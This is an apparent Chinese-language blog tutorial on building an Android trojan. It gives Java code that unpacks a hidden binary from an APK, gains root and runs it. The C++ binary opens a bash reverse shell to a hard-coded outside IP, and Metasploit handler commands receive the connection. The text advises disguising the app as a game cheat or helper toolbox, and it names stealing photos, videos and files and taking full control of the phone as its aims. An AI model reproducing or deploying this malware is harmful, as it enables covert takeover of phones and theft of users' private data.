远程控制安卓手机

安卓端木马开发

一阶段入门

  1. AIDE java .apk 开发
  2. C4droid c++ 二进制可执行文件开发
  3. 远程接收端服务器装有msf

重要语法:

exec 218<>/dev/tcp/49.234.86.45/8986;bash <&218 >&218 2>&218 &

#使用 exec函数 建立tcp连接到 49的IP,8986端口
# bash 执行该参数
# 末尾& 号 后台进程运行

原理简单,用java调用shell命令,执行C++二进制文件,实现远程监听

参考:java调用shell

可用游戏外挂,等等工具箱小助手进行 木马伪装


实现远程监听设备,上传下载文件读取手机照片视频

如有手机有root权限,甚至远程关机手机等等

1.java项目

自己手动xml文件添加 执行按钮
java执行shell命令

public void open(View v){
//点击按钮执行事件
    
Toast.makeText(MainActivity.this,"添加后门",Toast.LENGTH_LONG).show();
//toast提示

写出资源文件(getFilesDir() + "/assets", "open");
//解压出apk包,可执行文件

javashell("su - root");

//获取root权限

javashell("su -c chmod 777 /data/data/com.mycompany.myapp/files/assets/open");
//修改可执行后门 文件777权限
}

public void bash(View v){
Toast.makeText(MainActivity.this,"执行后门",Toast.LENGTH_LONG).show();    
javashell("su -s /data/data/com.mycompany.myapp/files/assets/open");
};

private void javashell(String shell){String s=shell;try{Runtime.getRuntime().exec(s, null, null);}catch(Exception e){e.printStackTrace();}}
//java shell调用

private boolean 写出资源文件(String outPath, String fileName)
//解压出apk包资源文件

    {
        File file = new File(outPath);
        if (!file.exists())
        {
            if (!file.mkdirs())
            {
                Log.e("--Method--", "copyAssetsSingleFile: cannot create directory.");
                return false;
            }
        }
        try
        {
            InputStream inputStream = getAssets().open(fileName);
            File outFile = new File(file, fileName);
            FileOutputStream fileOutputStream = new FileOutputStream(outFile);
            // Transfer bytes from inputStream to fileOutputStream
            byte[] buffer = new byte[1024];
            int byteRead;
            while (-1 != (byteRead = inputStream.read(buffer)))
            {
                fileOutputStream.write(buffer, 0, byteRead);
            }
            inputStream.close();
            fileOutputStream.flush();
            fileOutputStream.close();
            return true;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            return false;
        }
    }

C++项目

编译成二进制执行文件

#include <stdio.h>
#include <cstdlib>
int main(){
printf("开始执行");
system("exec 218<>/dev/tcp/49.234.86.45/8986;bash <&218 >&218 2>&218 &");
//调用系统shell命令 建立tcp连接
return 0;    
}

把编译后二进制文件放到 app项目包里``
调用java 写出资源文件

app点击按钮执行二进制文件

app完成后效果图

java.app.jpg

在远程服务器端启动msf,开启监听

msfconsole
#启动msf控制台

use exploit/multi/handler
#使用 后门shell模块

set payload cmd/unix/reverse_bash
#使用 reverse_bash 模块

set lhost 49.234.86.45
#设置接收端 IP

set lport 8986
#设置接收端 端口

exploit
#执行

等待靶机执行

点击执行后门

open.shell.jpg


msf.jpg

靶机成功上线

已反弹shell
用于app授权了root权限
相当于控制了整台手机
甚至可以远程关机手机,等等

即便没授权root,也可以读取手机文件夹,照片,视频等等
上传到服务器
来获取用户隐私

最后修改:2021 年 07 月 28 日
如果觉得我的文章对你有用,请随意赞赏